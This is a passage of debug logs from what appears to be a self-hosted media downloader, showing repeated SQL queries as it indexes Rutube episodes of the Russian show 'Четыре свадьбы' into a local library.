s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:34.506 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.507 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-15 15:01:43Z], 1] 14:35:34.597 [debug] QUERY OK source="media_items" db=89.2ms idle=5.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "1f398462-b0a5-4bad-9467-5a90b1e8d236", "e616356d72433f467250e679c4cfba65", 25, false, "https://rutube.ru/video/e616356d72433f467250e679c4cfba65/", 21, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e111500 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-15 15:01:43Z], ~U[2025-12-09 11:35:34Z], ~U[2025-12-09 11:35:34Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "e616356d72433f467250e679c4cfba65", 25, false, "https://rutube.ru/video/e616356d72433f467250e679c4cfba65/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e111500 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-15 15:01:43Z]] 14:35:34.599 [debug] QUERY OK source="sources" db=1.5ms idle=93.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:34.600 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=94.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:34.602 [debug] QUERY OK source="media_items" db=1.0ms idle=94.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83518] 14:35:34.602 [debug] Current batch of media processed. Will check again in 1000ms 14:35:35.603 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e062700 - Свадьба в стиле Кубы.mp4", "id" => "e9a92485716264056bb5b1b8985c6407", "original_url" => "https://rutube.ru/video/e9a92485716264056bb5b1b8985c6407/", "playlist_index" => 22, "timestamp" => 1561658275, "title" => "Свадьба в стиле Кубы", "upload_date" => "20190627"} 14:35:35.604 [debug] QUERY OK source="sources" db=0.3ms idle=1006.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:35.605 [debug] QUERY OK source="sources" db=0.7ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:35.606 [debug] QUERY OK source="media_items" db=0.4ms idle=1005.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-27 17:57:55Z], 1] 14:35:35.680 [debug] QUERY OK source="media_items" db=73.4ms idle=1004.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадьба в стиле Кубы", "049dfa0c-3239-4634-a6a2-da49f5861eae", "e9a92485716264056bb5b1b8985c6407", 25, false, "https://rutube.ru/video/e9a92485716264056bb5b1b8985c6407/", 22, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e062700 - Свадьба в стиле Кубы.mp4", false, false, false, 1, [], 1, ~U[2019-06-27 17:57:55Z], ~U[2025-12-09 11:35:35Z], ~U[2025-12-09 11:35:35Z], "", "Свадьба в стиле Кубы", "e9a92485716264056bb5b1b8985c6407", 25, false, "https://rutube.ru/video/e9a92485716264056bb5b1b8985c6407/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e062700 - Свадьба в стиле Кубы.mp4", false, 1, ~U[2019-06-27 17:57:55Z]] 14:35:35.683 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=560.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:35.684 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=79.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:35.689 [debug] QUERY OK source="media_items" db=3.9ms queue=0.2ms idle=79.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83519] 14:35:35.689 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 40, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e091700 - Кто победит в войне невест?.mp4", "id" => "eab627405b77b1cc9af08a81c753d535", "original_url" => "https://rutube.ru/video/eab627405b77b1cc9af08a81c753d535/", "playlist_index" => 23, "timestamp" => 1568726628, "title" => "Кто победит в войне невест?", "upload_date" => "20190917"} 14:35:35.690 [debug] QUERY OK source="sources" db=0.9ms idle=83.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:35.691 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:35.692 [debug] QUERY OK source="media_items" db=0.6ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-09-17 13:23:48Z], 1] 14:35:35.792 [debug] QUERY OK source="media_items" db=99.2ms idle=9.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кто победит в войне невест?", "48e72967-3ac8-410d-8606-a8725125dcd7", "eab627405b77b1cc9af08a81c753d535", 40, false, "https://rutube.ru/video/eab627405b77b1cc9af08a81c753d535/", 23, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e091700 - Кто победит в войне невест?.mp4", false, false, false, 1, [], 1, ~U[2019-09-17 13:23:48Z], ~U[2025-12-09 11:35:35Z], ~U[2025-12-09 11:35:35Z], "", "Кто победит в войне невест?", "eab627405b77b1cc9af08a81c753d535", 40, false, "https://rutube.ru/video/eab627405b77b1cc9af08a81c753d535/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e091700 - Кто победит в войне невест?.mp4", false, 1, ~U[2019-09-17 13:23:48Z]] 14:35:35.795 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=104.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:35.795 [debug] QUERY OK source="media_profiles" db=0.2ms idle=104.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:35.796 [debug] QUERY OK source="media_items" db=0.4ms idle=104.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [26] 14:35:35.796 [debug] Current batch of media processed. Will check again in 1000ms 14:35:36.797 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072600 - Столичный шик против деревенского гламура.mp4", "id" => "f2e473105883d042453d956b2f07297e", "original_url" => "https://rutube.ru/video/f2e473105883d042453d956b2f07297e/", "playlist_index" => 24, "timestamp" => 1564167817, "title" => "Столичный шик против деревенского гламура", "upload_date" => "20190726"} 14:35:36.799 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:36.802 [debug] QUERY OK source="sources" db=3.0ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:36.804 [debug] QUERY OK source="media_items" db=1.4ms idle=1007.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-26 19:03:37Z], 1] 14:35:36.966 [debug] QUERY OK source="media_items" db=160.5ms idle=1008.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Столичный шик против деревенского гламура", "782cd6b9-cd9b-42ed-9630-2dfc48d244ef", "f2e473105883d042453d956b2f07297e", 30, false, "https://rutube.ru/video/f2e473105883d042453d956b2f07297e/", 24, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072600 - Столичный шик против деревенского гламура.mp4", false, false, false, 1, [], 1, ~U[2019-07-26 19:03:37Z], ~U[2025-12-09 11:35:36Z], ~U[2025-12-09 11:35:36Z], "", "Столичный шик против деревенского гламура", "f2e473105883d042453d956b2f07297e", 30, false, "https://rutube.ru/video/f2e473105883d042453d956b2f07297e/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e072600 - Столичный шик против деревенского гламура.mp4", false, 1, ~U[2019-07-26 19:03:37Z]] 14:35:36.971 [debug] QUERY OK source="sources" db=4.9ms queue=0.1ms idle=842.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:36.975 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.2ms idle=174.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:36.977 [debug] QUERY OK source="media_items" db=0.9ms idle=173.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [83521] 14:35:36.978 [debug] Current batch of media processed. Will check again in 1000ms 14:35:37.288 [info] {"source":"oban","duration":14005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:37.979 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 15, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - В шоке.mp4", "id" => "f65fab8377e40b7e31e01773e49c67ad", "original_url" => "https://rutube.ru/video/f65fab8377e40b7e31e01773e49c67ad/", "playlist_index" => 25, "timestamp" => 1562164886, "title" => "В шоке", "upload_date" => "20190703"} 14:35:37.980 [debug] QUERY OK source="sources" db=0.7ms idle=1008.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:37.984 [debug] QUERY OK source="sources" db=3.0ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:37.986 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=1007.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-03 14:41:26Z], 1] 14:35:38.123 [debug] QUERY OK source="media_items" db=134.8ms idle=859.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В шоке", "4e1b7f0f-8cc7-4f7f-a19b-618438d8df2f", "f65fab8377e40b7e31e01773e49c67ad", 15, false, "https://rutube.ru/video/f65fab8377e40b7e31e01773e49c67ad/", 25, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - В шоке.mp4", false, false, false, 1, [], 2, ~U[2019-07-03 14:41:26Z], ~U[2025-12-09 11:35:37Z], ~U[2025-12-09 11:35:37Z], "", "В шоке", "f65fab8377e40b7e31e01773e49c67ad", 15, false, "https://rutube.ru/video/f65fab8377e40b7e31e01773e49c67ad/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - В шоке.mp4", false, 1, ~U[2019-07-03 14:41:26Z]] 14:35:38.140 [debug] QUERY OK source="sources" db=15.8ms queue=0.2ms idle=835.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:38.148 [debug] QUERY OK source="media_profiles" db=6.1ms queue=0.9ms idle=156.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:38.150 [debug] QUERY OK source="media_items" db=1.3ms idle=162.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour 